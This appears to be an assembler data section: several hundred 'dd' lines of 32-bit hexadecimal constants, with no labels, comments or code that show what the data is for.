dd 5ADA8F83h, 0B3AFECE7h, 56629A39h, 684DBAA3h, 0D1239C2h
dd 3BC13B35h, 1098840Eh, 0D5D84E2Ah, 88057F50h, 9DB0BA3Fh
dd 53E08CBEh, 54C50B46h, 24F8496Ch, 9A11A65Fh, 8E5B412Dh
dd 3868BABh, 0E428F37h, 3D58C93Bh, 8F178E65h, 5B1609DEh
dd 0FA6DF3D1h, 32E37565h, 1B2CEE7Bh, 3B7BDC8Bh, 8C60E9CEh
dd 2B25181Fh, 0C5D78B9Bh, 0A2E0F518h, 462EE59Bh, 0A3B94FC6h
dd 0A6E01609h, 0BC1BB06Ch, 0F6228F45h, 6000B6Bh, 0F53D198Bh
dd 94FD91F7h, 0C59ECAA8h, 0C504C3F6h, 0F312729Bh, 3520B9DCh
dd 0F6B89D61h, 42D2A501h, 0DBA3F24h, 13F877B4h, 0FB23AACFh
dd 8353FF7Ah, 0ACEA853Bh, 81B4ADC3h, 557031Ah, 0CDE4482Ah
dd 846E847Eh, 0DFAB6D24h, 43064713h, 0E9B82D5Dh, 753252A6h
dd 0F582AF81h, 8CA063E9h, 0B728C2AEh, 700C50FBh, 0F08E62FAh
dd 6CF206E6h, 0B029BABDh, 5B48C0F2h, 0BCE629BCh, 0E70FC96Dh
dd 9FAA247Bh, 2B26CD9Fh, 3C26DB9h, 9F62CF9Bh, 96171C49h
dd 0FD817C49h, 53A5A32Bh, 3433F7F0h, 2D518BCh, 878BCEF0h
dd 4B5936FBh, 9CB596h, 8191CD88h, 0BC2E5917h, 0CB69E1D2h
dd 3456F78Dh, 0AEFCD107h, 0C32051F9h, 705CEAFDh, 0EA23F302h
dd 78FFF3B5h, 1ED2E8CEh, 0C94976A9h, 40D75139h, 0FD895080h
dd 0FFB7F5ECh, 0ECFEDF34h, 0F413B889h, 0C09259FFh, 2EF4CE02h
dd 43E6B0D8h, 1E736C66h, 2BAA483Ch, 83D09CE9h, 1DEF828Ah
dd 52E0196h, 8710D61h, 2BC3515Dh, 4B8C5342h, 0F7E46D2h
dd 0C054E7ABh, 0D08476Dh, 0D8F31767h, 0F2E7B961h, 15303ABEh
dd 0D0ED56DEh, 418CDC5Ah, 73E9E08Dh, 2D1056A8h, 0B3FF1E40h
dd 0A25012D6h, 0F6CB676h, 4CCBA721h, 0E087A655h, 56F1EB3Dh
dd 89AB49DCh, 7837F910h, 382EA893h, 2FD59D17h, 0C62FCACBh
dd 1DED932Dh, 0FDF2FE52h, 0A6AF26E7h, 0D80FF606h, 31B69066h
dd 7CDCE6C0h, 0C7B62719h, 0AF21C5B6h, 59642EDEh, 4F73D53Ah
dd 5288110Bh, 0C44C90B3h, 0E9DD9172h, 399DF966h, 9ECBDC38h
dd 0E6E3C936h, 0DAADE748h, 0A3056784h, 9D1FE7D2h, 0BCEE01DDh
dd 84963618h, 0C217DA5Eh, 8A1D5D9Dh, 0B19D3417h, 2064715Bh
dd 80BBCB3Bh, 0F3A371B2h
dd 0D7725880h, 9D36F184h, 0C2E78FACh, 86AC85E8h, 57C02602h
dd 9B4F11C2h, 0C56AD986h, 70F0444Ch, 0D9B099B0h, 0A8387AD7h
dd 804B36A5h, 19C10859h, 0F4A0E284h, 0A2F0E4Ch, 642D88CEh
dd 7C6A0B2Dh, 0B60E33E1h, 9F562F13h, 4EDF04Fh, 0C5F5D698h
dd 0AA0DC1DFh, 0D2E5B3BBh, 16F70829h, 0CA816438h, 57CA7266h
dd 0CCFBE314h, 1ABDB02Fh, 3EF24795h, 8F90F14Ch, 680CA205h
dd 0AECFBCBDh, 45CAAA94h, 0A95C718Eh, 0C51662DDh, 0FBC8FA0Ah
dd 78755EE5h, 576E5CE1h, 6B003616h, 8E25AEE7h, 1C8228ECh
dd 4B860348h, 74CA1105h, 54E53A4Fh, 0CDB6CDE3h, 0DCD84EE5h
dd 0AC605038h, 81ADCE5Dh, 0CE594A55h, 0DAD18692h, 578DF9FCh
dd 0DEE34CFh, 0ADCAA45Fh, 0E4B18AEBh, 0A1D739B7h, 8072A463h
dd 0A37FB412h, 1AEF7A44h, 93747B7Dh, 91109362h, 0C9A4B188h
dd 33FC5929h, 0F2E909CEh, 17FAB940h, 0C5C201CEh, 0EC8F053Ch
dd 8F1FB20Eh, 94363A04h, 8162D470h, 0F19E35C0h, 0EFE9D4C0h
dd 0B53268CDh, 0A4999E1Ah, 71BF2A01h, 7895D6Bh, 0BAFCFB2Dh
dd 0B72E553Fh, 89DBC830h, 197B30BBh, 83D53E0Eh, 94AEA1D9h
dd 0C8ED1003h, 0A07C9C76h, 3B4F74E8h, 90DDE157h, 33646DB7h
dd 93509ACBh, 649BFF3h, 806CCE98h, 9F8693B1h, 0BA3959Eh
dd 4FFF05B9h, 27131528h, 0CBEFDCCFh, 8BECE949h, 40F511E2h
dd 0EB0FB3BEh, 1D4C68B4h, 0F0BB9769h, 0AD5D6F2Ah, 47ADCBD2h
dd 74177CB0h, 0CF8A1AB4h, 8DCA91Bh, 0BFCC9C15h, 2E3756ACh
dd 7E0DD8A5h, 0E904BDB4h, 83DAFF6Ah, 88561071h, 0D49ACA3Eh
dd 0D0EB94ABh, 0B3BBD952h, 53FB96D9h, 6E648207h, 1B903730h
dd 0CE324A79h, 292EBDCAh, 74C4B7BAh, 6513750Fh, 0E0A13448h
dd 0F014A840h, 255625D0h, 3CDEC971h, 561C1F3h, 52E1020h
dd 0C8B9BC0Eh, 8AC420E9h, 499C5873h, 0C31E40AAh, 0D667FCDh
dd 0C75FAD30h, 375D942Ch, 8CE6B6C9h, 2FC26BD7h, 5F70639Ah
dd 562F80B0h, 3CE00AFBh, 0F571BA42h, 5CE01F1h, 11D6DBB1h
dd 1021D5Dh, 71F60E21h, 0FF9E9D48h, 0E7C9FD2h, 6F5CAF7Eh
dd 5C9DA918h, 0F179DAB0h, 0FE46004Ch, 0BF8093DAh, 0BBC321E8h
dd 0E3AC1D05h, 0F2128742h, 535B9808h, 227CE250h, 6F9EE5C6h
dd 0DB0AEBD1h, 0EED545C3h, 9A153682h, 2ED7F0CEh, 591DB678h
dd 4F078F73h, 0E3D79E36h, 6B791864h, 543A1994h, 229851B8h
dd 0F878311Ah, 9E1E6AA7h, 0D46F0AAAh, 4E34A289h, 3829CA19h
dd 8DC6C66Bh, 0BAF6BDF4h, 0C81D18Ah, 97788FE0h, 61388325h
dd 0C5B9A33Dh, 80AC0DC2h, 65073700h, 2B062F87h, 7D2C1BD9h
dd 0F96FE823h, 235111E0h, 6CBF224Ah, 2EF79581h, 992627Dh
dd 140CCF4Fh, 993ABD15h, 77083E68h, 921C09D5h, 6BDD7967h
dd 7048E46Fh, 63C2AE3Fh, 48CCCC52h, 0AFA9BA8Dh, 0B96AFB1Fh
dd 0A5309E57h, 0A7ECC50Eh, 0E72D0629h, 50CD878Dh, 0BCB98457h
dd 0CD591DD0h, 0F1DC5807h, 0C07EB4DAh, 0ED5D53BCh, 0A15D1271h
dd 777C6085h, 0B211E206h, 1C58F636h, 16E70EE3h, 72F1EBEFh
dd 0B0EE3005h, 0C54AB568h, 86406A8Bh, 0E1C7FCE4h, 0D2EC086Dh
dd 6E6E8BFh, 9FA4B1E3h, 99C2A771h, 7E086332h, 49D9855Ch
dd 0DA48954Fh, 3F3A7A0Dh, 0B84ACDB3h, 300F3E75h, 54651487h
dd 0C1BBCC2Ch, 355BB7C4h, 0A6148552h, 72CD9AD7h, 4D19E5A8h
dd 67DEE560h, 91FADF15h, 0B50D5A54h, 476544C0h, 0B8CB2345h
dd 360A91BEh, 9489E2ECh, 879DAD49h, 390CDF3h, 0B980F346h
dd 95932329h, 694A56A1h, 5B4EEB94h, 0CDFDB926h, 68EF5AAAh
dd 3FBFA0C1h, 0F96CF6D2h, 4669C1CBh, 4BB46A89h, 44C9A0E2h
dd 5EE19680h, 9B7CE42h, 34DD63Eh, 64CB035Dh, 803C8EA5h
dd 5E7B0A6Eh, 3111C53Eh, 6DCB356Ch, 0F6F60405h, 29FE4CFCh
dd 0A991C44Ah, 8738D3BAh, 0F00AF412h, 0BFD546FFh, 599EA2D7h
dd 4EA84856h, 7482385Ah, 285A7E6Fh, 92F69278h, 0F1F36097h
dd 51A847B1h, 12959E9Ah, 17326072h, 7E2D66EBh, 6B0DE4A8h
dd 2363244Fh, 0F9EEC52Ch, 46BE19C5h, 4FE4A0E6h, 0A5FDD64Fh
dd 0E5870F6Ch, 2CA2E675h, 0BBCF2416h, 0D56ECB31h, 0D8316FB9h
dd 790271FEh, 0EE53327Fh, 0C25C8D4Eh, 0FA2DF8B5h, 660007A8h
dd 6AFE5740h, 49E65071h, 3E842123h, 8F634B13h, 4AC86FEFh
dd 3334EE2Bh, 6981937Fh, 3679832Ch, 0C3281F3Ch, 246BDB6Ah
dd 0BB1D4787h, 89209D7Eh, 46CCF8AAh, 3E012D2Bh, 3740606h
dd 242A8CD4h, 170CAC1Bh, 1CBF747Eh, 3BCF2674h, 1DD67714h
dd 0C2FB92D2h, 4EC2E9B7h, 4B5975F6h, 4374DED2h, 71729A5Fh
dd 9B601BD0h, 77553642h, 9FBE56ECh, 1E6DCBF3h, 2B3D203Bh
dd 4D26BF47h, 0C1630319h, 12005566h, 3559AA90h, 0B614D9Fh
dd 8D6FA2F5h, 614E37DEh, 93156FC0h, 547468EFh, 8836E30Ch
dd 303CCCDAh, 0F0EAE4F5h, 0BF71BF8Eh, 65D01FD6h, 32443D6Ch
dd 8C26C8C9h, 29FDFFF3h, 4426A90Ah, 9CDFBE81h, 0EC216729h
dd 4B0ED500h, 0FE4AAFE9h, 0ACF64F58h, 833C5D39h, 18EB68A9h
dd 0F65E308h, 7B35F9A1h, 0C5247AD9h, 0F0AF00D6h, 86C3BE1Bh
dd 0E2A3EEBCh, 0E6F62329h, 0DAC6628h, 94448320h, 8E3174CFh
dd 60BA427Ah, 6384AFE2h, 0CADCDB14h, 231D6967h, 1A0FF903h
dd 3E7F9F44h, 416B87E1h, 5A78F34Bh, 6694D244h, 91B1DBC0h
dd 38B2D3E0h, 7AC9F7EBh, 5B6E4596h, 87463FAh, 31FC5E33h
dd 67D0D9C3h, 0FD56C9BCh, 7BBFF951h, 0CD5671B1h, 41EDEAB2h
dd 78034250h, 5E4915D7h, 52993C8Eh, 0BDFB990Bh, 0F70DF981h
dd 0E6923609h, 0C4F4D3F7h, 28B07F22h, 31A12E2h, 95E342ECh
dd 0A5B22B10h, 0F0442E68h, 52888A83h, 0A244C684h, 1D7B91F6h
dd 6C93ADB2h, 3469D9E5h, 61B289C7h, 2AB9DED6h, 651EF1C1h
dd 7F4621F1h, 2CB877F5h, 0C583C9EEh, 46A6BDF6h, 9628E19Bh
dd 0FDF8AC7Ch, 87D4B1EAh, 0E6A6008Fh, 704796D3h, 2A9FE19Dh
dd 0ECA59D83h, 91BC7A3Dh, 0F6F044A4h, 352F768h, 2789E256h
dd 0D51208AEh, 21F291BFh, 0E72C4D4Bh, 0E6783463h, 246C37h
dd 4F94B79Ah, 73AC38F9h, 430FF773h, 1392531Ah, 89088F26h
dd 5F0D4EF8h, 0FE519529h, 0C38E8AF1h, 0E374DC14h, 120EDCBAh
dd 0E63D6B36h, 2FD3614Eh, 0C51A918Dh, 9D226525h, 69E67CCEh
dd 0CFC27ECEh, 0A95458A9h, 1FFE9939h, 8DF92E3Ah, 55C8D655h
dd 44FE38F8h, 1F820D7Fh, 52357B90h, 0C272AD3Ah, 0BE4DC2BFh
dd 0A9FC2ECAh, 19EA510Ah, 0A398C15Dh, 4910013Eh, 975768CAh
dd 0ED09BF3Ch, 2CB51AA8h, 0FDBC7181h, 1BA095A6h, 3C81B8D2h
dd 9164C937h, 0AE5063EEh, 34DED0C3h, 957C0F76h, 7AC903D5h
dd 6958BEF2h, 0BE4589DEh, 805EAEE4h, 0A7D9389Fh, 0CE10913Eh
dd 0DC5E3FECh, 0FBE5BFC8h, 833310F4h, 3E4150BEh, 7F9A390Bh
dd 31B8BA31h, 9C6A453Ch, 0A4409E00h, 0A300F65Ah, 1752BEF6h
dd 1BA83FDBh, 36C1CC6Dh, 654594E0h, 7FEE42DEh, 0C623222Fh
dd 0B2F48A38h, 0CE87B1C4h, 0A2F6B0F0h, 7306E395h, 0F09200FAh
dd 96EA539Eh, 0E7D2458Bh, 0B4201274h, 2DB889E8h, 0FCC3AF54h
dd 3245DF02h, 857E739Bh, 1DBE063Ah, 1463A6EAh, 0C42EE22Eh
dd 26CF46Bh, 54E73E9h, 0D659B0FBh, 2F0511Ah, 0D6D2371Fh
dd 2F36DE46h, 8AA186BDh, 2CF8C484h, 97C9C9EDh, 0A24020F2h
dd 48A28B2Dh, 3B80CE61h, 521CC80Dh, 0C52CC58Eh, 0CE1BBED4h
dd 0D18BA1C4h, 0CCBE3DA6h, 0AD5C5610h, 5453BCEBh, 5698D638h
dd 24A51E0h, 57EE5B37h
dd 43AC8E56h, 1682CDFCh, 98824D0Eh, 45E4F14Dh, 0A9E2A164h
dd 0ADE5E9Fh, 7D2B6156h, 6BD9805Ah, 969A85CBh, 5BA568A7h
dd 0DE8C0C49h, 4861A775h, 6C82C130h, 6C422DDh, 40B7FECEh
dd 0F0170777h, 0EC14D3D1h, 0BD441916h, 0AE7830D0h, 0C2AEFD29h
dd 0B57925A0h, 3055A8CDh, 960EC7FBh, 7FB534CCh, 355F71DBh
dd 0BBCF7AD4h, 0D8B078FEh, 78A142A7h, 0F9EC0FAFh, 0F263FDEh
dd 0D76CEAD2h, 80BF6F37h, 0C76D245Bh, 33D5565Bh, 9BC5B280h
dd 18A35A09h, 0B0876AAEh, 0A7397A1Dh, 0D5149E70h, 6CB28B8Fh
dd 0AD33245Ah, 1679FE74h, 0F0E76A56h, 783FB52h, 791D39B7h
dd 66C33A4Bh, 30DAA8EEh, 714F0BDEh, 0D82262A1h, 4AC92A06h
dd 7AD757F1h, 48697B65h, 0C052AF19h, 0EA4C8B9Ch, 0BAF27565h
dd 2A1DA9BEh, 63540F47h, 0A714EAECh, 0F103D811h, 502DF09Bh
dd 0ED557E5Bh, 7F6157C4h, 9899C4A5h, 0E2B45C93h, 13BE4336h
dd 27EF8B95h, 648E61Fh, 0EBBC06C9h, 652E4F81h, 0CAD8AFFh
dd 2DD64C9Dh, 3AD32A05h, 72FDD358h, 8C0516D2h, 2F00EC3Eh
dd 50097D54h, 0ACDC5482h, 4B969303h, 0CA1F7549h, 0E958D0A3h
dd 76C213DAh, 73BF435Bh, 0C763B27Ah, 3AC9F08Ah, 7D726574h
dd 0D6E61C28h, 0D12413C0h, 0FF205F5Fh, 0DD44FABDh, 43C1EA80h
dd 851F870Dh, 0D28CEE48h, 0D1C63A97h, 0A4D8288Eh, 5E957573h
dd 5F523738h, 3CDD1EAFh, 0D43A2214h, 2558818Ch, 1E353562h
dd 9FA2A76Eh, 6989C770h, 72EAED4Dh, 0A7BB5C4Ah, 0E766E790h
dd 0E672C10Dh, 71F367Fh, 0BC8671C3h, 0AA835503h, 0B130FA95h
dd 0FA5B776Eh, 6D8F5FC9h, 11B4515Fh, 2710B217h, 0D352390Fh
dd 400044ACh, 0AC9B42BEh, 0D022D30Dh, 1DDE5918h, 440B94Eh
dd 5BDEB0D4h, 0E68B3DC5h, 4CE62712h, 4885B85Bh, 9F8998C4h
dd 47E55FBFh, 0A93BBF5Eh, 416EC260h, 9D26F52Eh, 442BE62Ah
dd 901DC0A7h, 0A50A18C7h, 72CF0B8Eh, 0EAFF3AF0h, 0F3745D56h
dd 1CB85972h, 55760D07h, 0D8C9F2Dh, 2964D8Ah, 4E2E0BD1h
dd 0DF957A4Ah, 491326EDh, 51E743FAh, 65170B81h, 674BB675h
dd 0B0A982h, 4AC29E34h, 3C8B12ECh, 0FD0CE96Fh, 0A8C66598h
dd 0F02D740Bh, 5BED349Ah, 861E5C08h, 0B153EFBAh, 91C3CF58h
dd 14573B1Eh, 7D2539D8h, 0DACDDFC0h, 0DCD5930Ch, 741D0C69h
dd 165D863Fh, 0BA400E3Ah, 0EDF25D08h, 28E83D4Eh, 0E4490A7Ah
dd 78679DDBh, 96F067C4h, 5A34C428h, 57D5FF66h, 3BAE26EAh
dd 0BE3384F7h, 79EBD6BAh, 0DC466721h, 0A4B9F4DEh, 0F8E68590h
dd 0F8F5AE12h, 69797E66h, 56AEF988h, 2E63CBF0h, 0B56C04B3h
dd 1138EF41h, 7D942B5Bh, 14918704h, 563F7BEDh, 186F98B7h
dd 0F2067132h, 6B91012Ah, 849E01D2h, 16E6F6E4h, 847CD97Ch
dd 6A2217E2h, 5B6AC790h, 2CCCB7E4h, 0A8167650h, 439962E2h
dd 0CBD2AED9h, 0C83A539Bh, 95A65D61h, 2F437057h, 263806BAh
dd 0B4ABD88Eh, 0B570ADB7h, 0A199397Fh, 0DD2DFB8Bh, 2EFFC863h
dd 0F5EE2A10h, 0B2463D79h, 0C159CA5h, 4B7AFFB6h, 1E74E4C3h
dd 6FCBDD23h, 0B8DBEAE9h, 5586BFEFh, 0EACBFD97h, 0B1A7516h
dd 13A4CD98h, 8F8D4A7Bh, 0C185FEA4h, 0D9BAACB5h, 0FD0AC0EEh
dd 0FE1C3FBEh, 0F8FAA6CEh, 385C618h, 0CD245FA6h, 1494F547h
dd 0AA53D50Bh, 595B6850h, 63F25A63h, 93091007h, 7A44DAEh
dd 0C0310604h, 4A4173C7h, 0D89FA0A6h, 2EE6D23Dh, 64FE9F67h
dd 0ED6FC3E6h, 75D1BA17h, 32C64721h, 10068E2Bh, 77541716h
dd 4C57A8D2h, 0F872E989h, 0FC058A3Fh, 0FA41FB01h, 0B7C2F3BFh
dd 0D9630BADh, 3BA81144h, 6AEF3DE1h, 7524CF57h, 24DD4F21h
dd 0F52AD586h, 2EEBB524h, 14DBF505h, 0FDA71C2Bh, 21A4CCCh
dd 0F1E0ED7Eh, 67747A17h, 0A9815603h, 0F22A661Eh, 288601E8h
dd 8A76AC8h, 0CBD412B1h, 0DB0652F8h, 52777D4Dh, 604D2133h
dd 67615CB5h, 0B9E4E01Ch, 937DAF8Dh, 0C5BCDFC4h, 62A6FB3Ah
dd 0D0E176B1h, 7F98A285h, 4831A7F1h, 294AEA8Fh, 894CC7B3h
dd 8D59BC6Eh, 492EA805h, 0E13B5E22h, 7A8E3A29h, 94ABE26Eh
dd 748A845Bh, 9A7E9570h, 41F59668h, 3426D929h, 425720C2h
dd 273C2F9Dh, 122B52CEh, 912B18BBh, 32650D6Ch, 64A745A9h
dd 90565BC8h, 958A3943h, 0E924893h, 1D1C0321h, 0C3B452ADh
dd 9E288EB6h, 0DDA258B3h, 949920BFh, 276AE54Fh, 0BD314D15h
dd 8571E4BEh, 9C145E24h, 0CCFA4923h, 66DEB580h, 46C8C156h
dd 0EDDDAE0Ch, 288B8B11h, 495D7480h, 0B3507D90h, 418ADCF3h
dd 0C1F0819Dh, 79CCF6BCh, 0EA6FBEA9h, 19DB3613h, 9A6F5878h
dd 0A61A592Ch, 525F7284h, 0C89A2DDDh, 1F04A612h, 35AFDB00h
dd 0E7CD8266h, 95388498h, 0A7D1612Eh, 0CA8EC251h, 0A0587983h
dd 0CACF164Ch, 497FE74Ch, 7CB3E287h, 0F48FCFB7h, 0C276FC7Fh
dd 23B8D23Bh, 32CC214Ch, 0AEB1464Ch, 5FF285A4h, 277C15B0h
dd 0CA813CF4h, 2921B308h, 59ACACh, 8938B0EAh, 2B2F4E32h
dd 89C1721Fh, 3BD3A0C1h, 0EF745990h, 70C5E522h, 0DFB5AB67h
dd 7F93C389h, 35CD1B79h, 0DDE97201h, 0E722258Ah, 0BF9185E8h
dd 0C007BFF9h, 3EFC8EE4h, 670B44A0h, 0BCCE536Dh, 65E9B211h
dd 76F4FEEh, 1659B127h, 1C355D24h, 948381BEh, 62FE1A58h
dd 6FFE9B94h, 88DB045Ch, 6D0AAFE3h, 0C52F7013h, 46B754C8h
dd 520F67EFh, 1176B2F7h, 912B85BBh, 946BDE48h, 7DEF786Bh
dd 0B51E1E9Dh, 0EBDACA86h, 926B70F8h, 0A274C200h, 0AAB6E707h
dd 5A52E6DFh, 50A1B664h, 0C9E8BFE8h, 939C544Bh, 0ABF7713Ch
dd 390C0044h, 317DD338h, 0EF856D14h, 0A7564A51h, 13DEE599h
dd 84E33EF5h, 0CAD3A079h, 558EC655h, 0A6B1FB26h, 9C4AA8DCh
dd 0A4B41C61h, 0E84DB5D6h, 65D6FAA7h, 6204EA80h, 0C60F8AA0h
dd 1EF2D429h, 0C1E741ACh, 0F1685F9Eh, 8DE62367h, 0CC125313h
dd 0C0A8AFD9h, 0C39DBBEAh, 0FB0C1C1Ch, 9596BF73h, 0B36A2E1Ch
dd 5AD1FDC1h, 0F10E573h, 0FFA16BE5h, 0E9BA8DE5h, 0EF58ACCEh
dd 0FC0DC296h, 509AE32Eh, 0F146594Bh, 0AC7E7B59h, 9A312A46h
dd 34B5567h, 0E6DD490Fh, 8AEB3ECFh, 5A27CC45h, 3AF8E004h
dd 627231CCh, 0F0927CE5h, 94F3CF4h, 5BDDA755h, 0CE6CBD41h
dd 0BCFF84A0h, 0AF090FFBh, 3FC90F04h, 0F0A5369Bh, 1B4B8CFAh
dd 0DCF96B0h, 56EA6B17h, 0FCD5EED3h, 477FA70Ch, 0E60CE49Bh
dd 0E3F946CBh, 0B0F9C820h, 14A308F8h, 0DAC5D985h, 0CF999934h
dd 66E5EA26h, 5F7EF7E7h, 26E464D2h, 93456412h, 0DA2BA922h
dd 0FDBFAA15h, 3B79D693h, 5803582Ah, 3A6FC10Fh, 7D954A47h
dd 2060C6E7h, 4D147E6Eh, 5AB5F19Ch, 82A844D4h, 0F77DE3EEh
dd 0ACE7EAA4h, 717BB0EEh, 0E828BDA1h, 5E2B8199h, 6FABF36Ch
dd 2B0363BAh, 403B6C87h, 7F38DB10h, 0D2BE3A50h, 0F88AC316h
dd 0D26CF754h, 48281F80h, 0BB0BD121h, 0D2E692D7h, 0C2589471h
dd 34E70156h, 62163153h, 0E75F180Eh, 7CDBAB0Ah, 0F4A885A3h
dd 0D1133434h, 8D1C6BE9h, 883C2C1Dh, 3C28A1F1h, 0A680C373h
dd 0B73FE9E5h, 971F899Ah, 0A9220183h, 0B9BEB5AFh, 0C9F29F7Dh
dd 9951B1Ah, 4BFF5375h, 0D7302356h, 460D829h, 16F427E9h
dd 0A1560F2h, 0C474B157h, 0BDEDB8E3h, 1B77637Dh, 0C83C6A42h
dd 4E0B0810h, 33067BDDh, 0FD234AA6h, 121C549Ah, 4D0F9C43h
dd 64C1E922h, 1B185500h, 4F05C06Ah, 0A63462F9h, 94699D2h
dd 358BAA20h, 91FE961Eh, 2D0B0229h, 3571F746h, 35B4A81Ch
dd 0C2F32C54h, 83D3021Eh
dd 89386A38h, 0BD99319h, 0FFC598F5h, 97A6C916h, 0F1E1AE00h
dd 0B38E5FD6h, 0A8E0C95Bh, 0FE0A9252h, 664D6A7Fh, 0E534A444h
dd 53058E2Eh, 2B98EB47h, 18F78223h, 7379481Bh, 3113374h
dd 5BB959Ah, 1A9ED94Dh, 22EDF455h, 9F358681h, 0B7C9E86Fh
dd 4AC8A05Ah, 0EE6FDEB2h, 329E3B56h, 0BFC7DCDFh, 0A39BC824h
dd 0ECA1D3Ah, 4BFFFE96h, 97AD86DCh, 0C5AD6578h, 0EC9C81CFh
dd 4CC639B2h, 0B7A67C40h, 7AE3A166h, 898BED61h, 417F4059h
dd 0D6D3369Ah, 0E8AFFF98h, 18599AEEh, 0C57EF31Bh, 0F318D824h
dd 7C639354h, 1F1C3A90h, 3DE019B5h, 6499FF07h, 8E8EF21Ah
dd 2D83E134h, 6D25283Dh, 960D193Ah, 45C525A2h, 332C432Ch
dd 87DE1479h, 4A3E559Ah, 0FBDE7849h, 74B5D82Dh, 0D61B142h
dd 1AB50A09h, 24E54425h, 0D4D80462h, 0E71E646Fh, 0CB1CB8E4h
dd 0C9CBC556h, 9A9D72BAh, 0F78A501Eh, 956CFDEAh, 961C44DCh
dd 0AC3F60A0h, 1295964h, 0E6B4371h, 0E5C25AADh, 50F91B10h
dd 0F9D61547h, 8FEEA0D6h, 0BD3D4A51h, 17C6E3ECh, 0CE27C463h
dd 0ECD7A0D5h, 0FA3B1992h, 5930C59Ch, 0E23485E9h, 133254E0h
dd 1316BBEFh, 0E96CF2FAh, 2B579299h, 0B01D815Eh, 78A625F8h
dd 0A963FC49h, 0C66F8892h, 4FFA87F2h, 0D29AD3BAh, 2C01948Bh
dd 506B41BDh, 0FE102069h, 0ABA80644h, 23BBC580h, 9148CCA8h
dd 13BD40EFh, 8F2A8166h, 0D9A8DD65h, 82498106h, 9C1E2D97h
dd 58BD97E6h, 0B3A12E4Ch, 0F237D6Ch, 139B15B6h, 1D27F4DCh
dd 7373A9E5h, 6E1EFDDAh, 0D9DA3FD6h, 0C0192BF6h, 61F796D7h
dd 92A26A28h, 0E729F395h, 1EAA6D2h, 0D4EBB656h, 0DE87D29Bh
dd 0E4CBAC0Eh, 66360F9Ch, 0D3437711h, 68EB7545h, 0CBE677FCh
dd 2B2FBCDFh, 8EC12288h, 85A9E68Eh, 935C8664h, 0E9050CF5h
dd 8500CF4Eh, 0A7C8A313h, 0D97D331Ch, 29B34392h, 7955708Dh
dd 80BEDA53h, 7E529E8Eh, 0D07CD49Eh, 93C2EA6Ah, 7E2A43FCh
dd 640843DEh, 0A5B159F9h, 85515BE0h, 135D44AAh, 48F73B6h
dd 84BEDD04h, 807F8EA7h, 913EF68Dh, 0D1DB73A6h, 66370092h
dd 129333E9h, 1D4C9AC5h, 4F3926C4h, 0FA2E7404h, 0EF01782Eh
dd 5BCAB612h, 92F0B203h, 7635E11Ch, 0A6C9E8A0h, 0DCCE8CA2h
dd 34588100h, 7344AFC0h, 8071ACB4h, 90D62E85h, 8F8CC5EDh
dd 15330828h, 757B563Ah, 492D6140h, 4EEF4876h, 9CDD42Eh
dd 0EA1596B8h, 0B2FD69F0h, 0EC206083h, 0C927EAD3h, 0DBA97180h
dd 8C219C66h, 0DC7E3BF0h, 0B2AD6F9Dh, 0A43E9D89h, 9C91439Ah
dd 5B87A452h, 56B60DDDh, 0E5854EEFh, 0B5AE1303h, 3FBA2EBFh
dd 0D2F710EEh, 46BC0970h, 0D28D323Eh, 40525337h, 39BB962Dh
dd 0CE1F785Bh, 608BD2C5h, 22A75451h, 6D13A70Bh, 0ACF4C732h
dd 1FA4AB12h, 0D3CD546Ch, 45F3C252h, 220CF665h, 356A2B2h
dd 8A591D31h, 0E40E1C3h, 0F8CDF93Bh, 0F9976D65h, 0D4E2F92h
dd 915E0596h, 5870D96Ch, 0C9F38E32h, 7CD9149Ch, 0A3B4B1EEh
dd 0B361E47Fh, 335A7BD6h, 7F8BE495h, 0F1EA3F63h, 0E647059h
dd 93CC62F8h, 2351B419h, 0F4B76DB7h, 0DAFD6BD8h, 0EA73A3DFh
dd 75FB0B07h, 0DC0697DAh, 5085886Fh, 5E8E9526h, 0EC645B85h
dd 18281BA8h, 546A327h, 569F739Dh, 9AE58739h, 0F8566573h
dd 795566Eh, 0BD3FD84Ch, 0EA215625h, 14A037FEh, 3A3C028Bh
dd 909393DEh, 0B1EDCF0Ch, 536772FBh, 1D7051F2h, 8721E423h
dd 0CC28BC12h, 9E568A07h, 0EF607272h, 0DE53420Ah, 287F90D3h
dd 6C9E1E1Eh, 0B2357BF4h, 61A86EBBh, 0B275BF13h, 566D6988h
dd 0EBD839B4h, 5BB0A471h, 890ED3CEh, 0BB8A3BF2h, 0DFE62C0Ah
dd 0D38CA290h, 30DA1B60h, 67133876h, 0B3D74A2Dh, 0DD1AE8C0h
dd 4C572FFEh, 1BD0C1Fh, 3918AA1Ch, 0E12122C4h, 363165D9h
dd 0B41F642Dh, 2D360930h, 0CE407028h, 1F83D209h, 0F1E25601h
dd 37969268h, 0C468D0D8h, 24C20256h, 0AD10B9Ah, 5264124Ch
dd 4BEE4223h, 0F286BFFFh, 9588086h, 68C123C9h, 4B108463h
dd 0B90A287h, 198A4C06h, 2A8A05AFh, 0E7920E21h, 96DC9B05h
dd 2581E827h, 2AA54D6Fh, 4BDA12FCh, 8186705Eh, 0A21E83F7h
dd 7C88EB69h, 0BCFCE2A5h, 11A92B3Eh, 0A5505448h, 0AE19156Fh
dd 2B213301h, 9F3645B9h, 0CB328E7h, 0EB6A6A03h, 50414BBh
dd 5D4145E2h, 0D01D83DCh, 5B5F6FD0h, 21889C85h, 6BA8B5B8h
dd 45618F81h, 0D7106F68h, 4A490341h, 0A0E8A199h, 479C028h
dd 0DF27815Ch, 57EC04C9h, 0D6B52379h, 86913C62h, 0D4DB11D1h
dd 93A85F22h, 599753B7h, 35A076B5h, 94C13213h, 54265006h
dd 150B7F06h, 0C7122E6Fh, 6D9DBFCFh, 0E493F5A9h, 0FF7D23FFh
dd 0F39ABE1Bh, 0D910D75Bh, 496AB4BAh, 0BFDD4018h, 0CA14D7AFh
dd 265EE69Bh, 0BB0B1F11h, 5016929Eh, 3BF84FA5h, 0C1E1D79h
dd 90E6A8FBh, 212E2B02h, 2A618CA3h, 0C4911DAAh, 6E730D21h
dd 0AF1E0A98h, 0FC9568Fh, 49FD9360h, 926F201Ch, 0F175D306h
dd 9DB1AE07h, 9A550B4Bh, 0BDE8272Fh, 7DA8C458h, 5896B302h
dd 0E3FC2785h, 80BA69DAh, 0EF5873B7h, 0FC52644Ch, 7823922h
dd 90C624A1h, 2F65AE5h, 0F8D2370Eh, 0B1E9C54Ah, 69B6F39Eh
dd 6025A5EEh, 0AB7BF3C0h, 0D12EED41h, 4371D7D9h, 97207723h
dd 2D38556Dh, 3B735FE6h, 0F7E98DCAh, 0E5BE10D9h, 1E8E0087h
dd 61DCB59Eh, 8660F26Bh, 7B5481FCh, 694E8D57h, 97F1B880h
